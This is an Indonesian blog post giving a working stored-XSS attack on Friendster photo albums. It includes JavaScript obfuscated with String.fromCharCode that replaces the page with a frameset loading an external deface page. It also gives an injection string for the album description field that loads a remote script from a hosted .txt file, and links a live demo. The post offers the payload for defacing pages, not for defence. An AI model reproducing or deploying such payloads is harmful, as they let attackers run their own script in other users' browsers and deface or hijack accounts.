Thursday, May 19, 2011

XSS HTML On Friendster.Com

Sesuai dengan namanya Cross Site Scripting yang berasal dari kata “Cross” berarti silang / menyilang, “Site” berarti tempat(halaman website), “Scripting” berarti pengkodean / penulisan kode. Dari sini kita dapat mendefinisikan bahwa Cross Site Scripting atau yang lebih dikenal dengan XSS berarti penyilangan suatu kode pada halaman website. XSS bisa juga diartikan penulisan kode pada sebuah halaman website agar berbelok ke target yang di inginkan.
Dimana Cross Site Scripting / XSS bekerja? Cross Site Scripting / XSS bekerja pada sisi client. Meskipun XSS ini bekerja pada sisi client tetapi efek yang dihasilkan akan memaksa server untuk menjalankan kode yang di masukkan. Nah, anda bisa membayangkan sendiri bagaimana jika server menjalankan perintah kita.
XSS bisa berjalan melalui 3 cara :
1. Pemanfaatan Tools
2. Penulisan pada source code
3. Penulisan pada URL


Script atau bahasa pemrograman apa saja yang bisa digunakan ?
Berdasarkan pengalaman dan artikel-artikel yang pernah saya baca ada beberapa bahasa yang bisa di gunakan untuk Cross Site Scripting atau sebut sajalah untuk Injeksi, yaitu: CSS, HTML, Javascript, VBScript, Flash, SQL, dll.
Dalam Kasus ini kita akan mencoba menggunakan HTML dan memasukkan / menuliskan tag HTML seperti halnya tag script, iframe, div, dll. Kasus ini sudah saya pratekkan sendiri yang sampai sekarang masih berjalan.
Proof Of Concept :
1. Buat sebuah file .txt lalu isikan & edit script berikut
Code:
function cyber4rt(){location='javascript:document.write(\'<title>JUDUL BAR ANDA</title>
<frameset rows="100%,*" frameborder="NO" border="0" framespacing="0"><frame src="URL HALAMAN DEFACE"></frameset>\');document.close();void(0)';}if (window.addEventListener) window.addEventListener("load",acizninja, false);else if (window.attachEvent) window.attachEvent("onload",acizninja);else if (document.getElementById) window.onload=acizninja;

Agar dapat berfungsi dengan baik, convert iframe ASCII character ke Decimal di sini : http://www.stringfunction.com/ascii-decimal.html
ASCII :
Code:
<title>acizninja was here</title>
<frameset rows="100%,*" frameborder="NO" border="0" framespacing="0"><frame src="http://n1nj4.cyber4rt.com/aciz.php"></frameset>

DECIMAL :
Code:
60,116,105,116,108,101,62,97,99,105,122,110,105,110,106,97,32,119,97,115,
32,104,101,114,101,60,47,116,105,116,108,101,62,13,10,60,102,114,97,109,101,115,
101,116,32,114,111,119,115,61,34,49,48,48,37,44,42,34,32,102,114,97,109,101,98,
111,114,100,101,114,61,34,78,79,34,32,98,111,114,100,101,114,61,34,48,34,32,102,
114,97,109,101,115,112,97,99,105,110,103,61,34,48,34,62,60,102,114,97,109,101,32,
115,114,99,61,34,104,116,116,112,58,47,47,110,49,110,106,52,46,99,121,98,101,114,
52,114,116,46,99,111,109,47,97,99,105,122,46,112,104,112,34,62,60,47,102,114,97,
109,101,115,101,116,62

Sehingga menjadi
Code:
function cyber4rt(){location='javascript:document.write(String.fromCharCode(60,116,105,116,108,101,
62,97,99,105,122,110,105,110,106,97,32,119,97,115,32,104,101,114,101,60,47,116,
105,116,108,101,62,13,10,60,102,114,97,109,101,115,101,116,32,114,111,119,115,61,
34,49,48,48,37,44,42,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,78,79,
34,32,98,111,114,100,101,114,61,34,48,34,32,102,114,97,109,101,115,112,97,99,105,
110,103,61,34,48,34,62,60,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,
58,47,47,110,49,110,106,52,46,99,121,98,101,114,52,114,116,46,99,111,109,47,97,
99,105,122,46,112,104,112,34,62,60,47,102,114,97,109,101,115,101,116,62
));document.close();void(0)';}if (window.addEventListener)window.addEventListener("load",cyber4rt, false);else if (window.attachEvent) window.attachEvent("onload",cyber4rt);else if
(document.getElementById) window.onload=cyber4rt;

Upload ke hostingan, terserah dimana, yang penting nanti bisa menjadi sebuah URL / LINK, contoh : http://trip66.com/admin/aciz.txt

nb : *JUDUL BAR ANDA ganti sesuai keinginan anda
*URL HALAMAN DEFACE ganti dengan URL/Link halaman deface anda

2. Sekarang silakan login ke akun Friendster anda, kalau belum punya silakan register.
Setelah login, buat sebuah album di http://www.friendster.com/createalbum.php
3. Pada halaman “Create a New Album”, ketikkan nama albumnya
Berikut ini yang paling penting, pada “DESCRIPTION” masukkan script berikut :
Code:
\";document.getElementById('themeIDgreen').style.display='none';L('//trip66.com/admin/aciz.txt');document.close();//

img
nb : *URL FILE TXT ganti dengan URL/Link file .txt yang tadi telah anda buat
selanjutnya klik “CREATE”
4. Akan muncul halaman untuk meng-upload foto, pada bagian ini anda boleh untuk tidak melakukan upload foto
5. Kembali ke homepage (beranda) Friendster anda kemudian pada bagian atas terdapat menu HOME, PROFILE, FRIENDS, PHOTOS, GAMES dan FUN. Silakan klik pada menu PHOTOS untuk melihat hasil XSS HTML pada akun Friendster anda
LIVE DEMO : http://www.friendster.com/photos/124297825
Referensi :
http://crazydavinci.net/2011/04/javascript-iframe-overlay-layout/
http://google.com/

No comments: